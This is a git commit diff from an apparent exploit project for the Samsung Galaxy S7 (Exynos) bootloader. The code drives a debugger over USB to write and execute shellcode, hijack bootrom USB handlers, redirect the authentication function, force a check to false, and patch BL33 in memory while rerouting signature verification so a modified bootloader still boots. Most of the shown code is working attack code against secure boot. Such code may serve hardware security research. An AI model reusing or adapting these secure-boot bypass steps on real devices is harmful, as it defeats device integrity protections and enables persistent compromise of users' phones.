Boots patched BL33
This commit is contained in:
parent
1dc24198b6
commit
0174b2a4f7
@ -599,7 +599,7 @@ class ExynosDevice():
|
|||||||
assert ttbr0 == b"\x00" * 0x8, "TTBR0_EL3 not overwritten"
|
assert ttbr0 == b"\x00" * 0x8, "TTBR0_EL3 not overwritten"
|
||||||
|
|
||||||
|
|
||||||
def test_write_execute(self, address):
|
def test_write_execute(self, address, execute=True):
|
||||||
"""
|
"""
|
||||||
At given address, test if it is possible to write and execute code, by writing a simple jump to, and jump back.
|
At given address, test if it is possible to write and execute code, by writing a simple jump to, and jump back.
|
||||||
"""
|
"""
|
||||||
@ -613,10 +613,11 @@ class ExynosDevice():
|
|||||||
|
|
||||||
shellcode = ks.asm(shellcode, as_bytes=True)[0]
|
shellcode = ks.asm(shellcode, as_bytes=True)[0]
|
||||||
self.cd.memwrite_region(address, shellcode)
|
self.cd.memwrite_region(address, shellcode)
|
||||||
self.cd.jump_to(address)
|
if execute:
|
||||||
self.usb_write(b"PING")
|
self.cd.jump_to(address)
|
||||||
assert self.usb_read(0x200) == b"PONG", "Failed to jump back to debugger"
|
self.usb_write(b"PING")
|
||||||
print(f'Jumped to {hex(address)} and back')
|
assert self.usb_read(0x200) == b"PONG", "Failed to jump back to debugger"
|
||||||
|
print(f'Jumped to {hex(address)} and back')
|
||||||
|
|
||||||
|
|
||||||
def debugger_boot(self):
|
def debugger_boot(self):
|
||||||
@ -654,15 +655,28 @@ class ExynosDevice():
|
|||||||
self.connect_device()
|
self.connect_device()
|
||||||
|
|
||||||
# Send boot stage 1
|
# Send boot stage 1
|
||||||
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read())
|
bl1 = open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read()
|
||||||
|
self.send_normal_stage(bl1)
|
||||||
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
||||||
|
|
||||||
|
# Dump contents of TTBR0_EL3 from memory into a pandas dataframe and write it to a pickle file
|
||||||
|
import pandas as pd
|
||||||
|
blub = self.cd.memdump_region(0x02035000, 0x1000)
|
||||||
|
try:
|
||||||
|
df = pd.read_pickle('ttbr0_el3.pkl')
|
||||||
|
# Concat data to existing dataframe
|
||||||
|
df = pd.concat([df, pd.Series([blub])], ignore_index=True)
|
||||||
|
except:
|
||||||
|
df = pd.DataFrame()
|
||||||
|
df['TTBR0_EL3'] = [blub]
|
||||||
|
df.to_pickle('ttbr0_el3.pkl')
|
||||||
|
|
||||||
# Setup jump and bl_auth
|
# Setup jump and bl_auth
|
||||||
AUTH_BL1 = 0x00012848 # Location of the authentication function
|
AUTH_BL1 = 0x00012848 # Location of the authentication function
|
||||||
def auth_bl1(lr=0x2069000):
|
def auth_bl1(lr=0x2069000, x0=1, x1=1):
|
||||||
# Load the firmware
|
# Load the firmware
|
||||||
self.cd.arch_dbg.state.X0 = 1
|
self.cd.arch_dbg.state.X0 = x0
|
||||||
self.cd.arch_dbg.state.X1 = 1
|
self.cd.arch_dbg.state.X1 = x1
|
||||||
self.cd.arch_dbg.state.LR = lr #jump back to debugger when finished
|
self.cd.arch_dbg.state.LR = lr #jump back to debugger when finished
|
||||||
self.cd.restore_stack_and_jump(AUTH_BL1)
|
self.cd.restore_stack_and_jump(AUTH_BL1)
|
||||||
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
||||||
@ -678,6 +692,9 @@ class ExynosDevice():
|
|||||||
self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31
|
self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31
|
||||||
self.cd.memwrite_region(0x02021880, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br"))
|
self.cd.memwrite_region(0x02021880, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br"))
|
||||||
|
|
||||||
|
# Write a patch to BL1 in memory
|
||||||
|
# self.cd.memwrite_region(0x2021800+bl1.find(b'2015'), b'2014')
|
||||||
|
|
||||||
# Jump into BL1 (sboot.bin.1.bin)
|
# Jump into BL1 (sboot.bin.1.bin)
|
||||||
JUMP_BL1 = 0x000002c0
|
JUMP_BL1 = 0x000002c0
|
||||||
def jump_bl1(lr):
|
def jump_bl1(lr):
|
||||||
@ -719,7 +736,10 @@ class ExynosDevice():
|
|||||||
TTBR0_EL3 = 0x02035600 # Zeroed out
|
TTBR0_EL3 = 0x02035600 # Zeroed out
|
||||||
|
|
||||||
# Modifies/disables setting up MMU (but is set up eventually) -> MMU says 0x0 instead of 0x1, but still little access (and proper USB recovyer boot!?)
|
# Modifies/disables setting up MMU (but is set up eventually) -> MMU says 0x0 instead of 0x1, but still little access (and proper USB recovyer boot!?)
|
||||||
self.cd.memwrite_region(0x020244e8, struct.pack('>I', 0x1f0c00f1)) # Change check to always false
|
self.cd.memwrite_region(0x020244e8, struct.pack('>I', 0x1f0c00f1)) # Change check to always be false
|
||||||
|
|
||||||
|
# DWC3 OTG update mode -> Might be useful at some point?
|
||||||
|
# self.cd.memwrite_region(0x02021580, struct.pack('>I', 0x00000000))
|
||||||
|
|
||||||
# Jump into BL31 and execute it
|
# Jump into BL31 and execute it
|
||||||
self.cd.restore_stack_and_jump(0x02024010)
|
self.cd.restore_stack_and_jump(0x02024010)
|
||||||
@ -748,15 +768,6 @@ class ExynosDevice():
|
|||||||
|
|
||||||
# ==== Stage 4 BL2 ====
|
# ==== Stage 4 BL2 ====
|
||||||
bl2 = open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read()
|
bl2 = open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read()
|
||||||
|
|
||||||
# Patching
|
|
||||||
# bl2 = len(bl2)
|
|
||||||
# patch_len = len(b"MNGS_QUAD")
|
|
||||||
# patch = b"Patch" + (b"\x00" * (patch_len - len(b"Patch")))
|
|
||||||
# patch_offset = bl2.find(b"MNGS_QUAD")
|
|
||||||
# bl2 = bl2[:patch_offset] + patch + bl2[patch_len + patch_offset:]
|
|
||||||
# assert len(stage4) == stage4_len, "Invalid bl2 length"
|
|
||||||
|
|
||||||
self.send_normal_stage(bl2)
|
self.send_normal_stage(bl2)
|
||||||
time.sleep(2)
|
time.sleep(2)
|
||||||
self.connect_device()
|
self.connect_device()
|
||||||
@ -773,7 +784,7 @@ class ExynosDevice():
|
|||||||
|
|
||||||
# Restore bootflow
|
# Restore bootflow
|
||||||
print(self.cd.arch_dbg.state.print_ctx())
|
print(self.cd.arch_dbg.state.print_ctx())
|
||||||
BL33_jump = self.cd.arch_dbg.state.X0
|
BL33_ptr = self.cd.arch_dbg.state.X0
|
||||||
BL33_LR = self.cd.arch_dbg.state.LR
|
BL33_LR = self.cd.arch_dbg.state.LR
|
||||||
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
||||||
|
|
||||||
@ -788,13 +799,22 @@ class ExynosDevice():
|
|||||||
self.connect_device()
|
self.connect_device()
|
||||||
self.usb_read(0x200) # GiAs
|
self.usb_read(0x200) # GiAs
|
||||||
|
|
||||||
# Modify something in BL33
|
print(self.cd.arch_dbg.state.print_ctx())
|
||||||
# print(self.cd.memdump_region(0x8f063710, 0x8))
|
|
||||||
# self.cd.memwrite_region(0x8f063710, struct.pack('>I', 0x53616d74))
|
# Trying to patch BL33 but continuing good boot flow
|
||||||
# self.cd.memdump_region(0x8f063710, 0x8)
|
# auth_bl1(DEBUGGER_ADDR, 0, 0)
|
||||||
|
|
||||||
self.cd.arch_dbg.state.X0 = BL33_jump
|
# # Modify something in BL33
|
||||||
self.cd.restore_stack_and_jump(BL33_LR)
|
print(self.cd.memdump_region(0x8f063710, 0x8))
|
||||||
|
# Samsung == SaMtung
|
||||||
|
self.cd.memwrite_region(0x8f063710, struct.pack('>I', 0x53614d74))
|
||||||
|
|
||||||
|
# Modify USB Recovyer mode string to something else
|
||||||
|
self.cd.memwrite_region(0x8f06ab10, b'\x50\x41\x54\x43\x48\x49\x4e\x47\x20\x42\x4c\x33\x33\x3a\x2d\x29\x0a\x00')
|
||||||
|
print(self.cd.memdump_region(0x8f063710, 0x8))
|
||||||
|
|
||||||
|
# Do signature verification on BL2 instead of BL33 and proceed to boot (original is jump to 0x2024eec)
|
||||||
|
self.cd.restore_stack_and_jump(0x02024e58)
|
||||||
|
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
BIN
source/exploit/ttbr0_el3.pkl
Normal file
BIN
source/exploit/ttbr0_el3.pkl
Normal file
Binary file not shown.
Loading…
Reference in New Issue
Block a user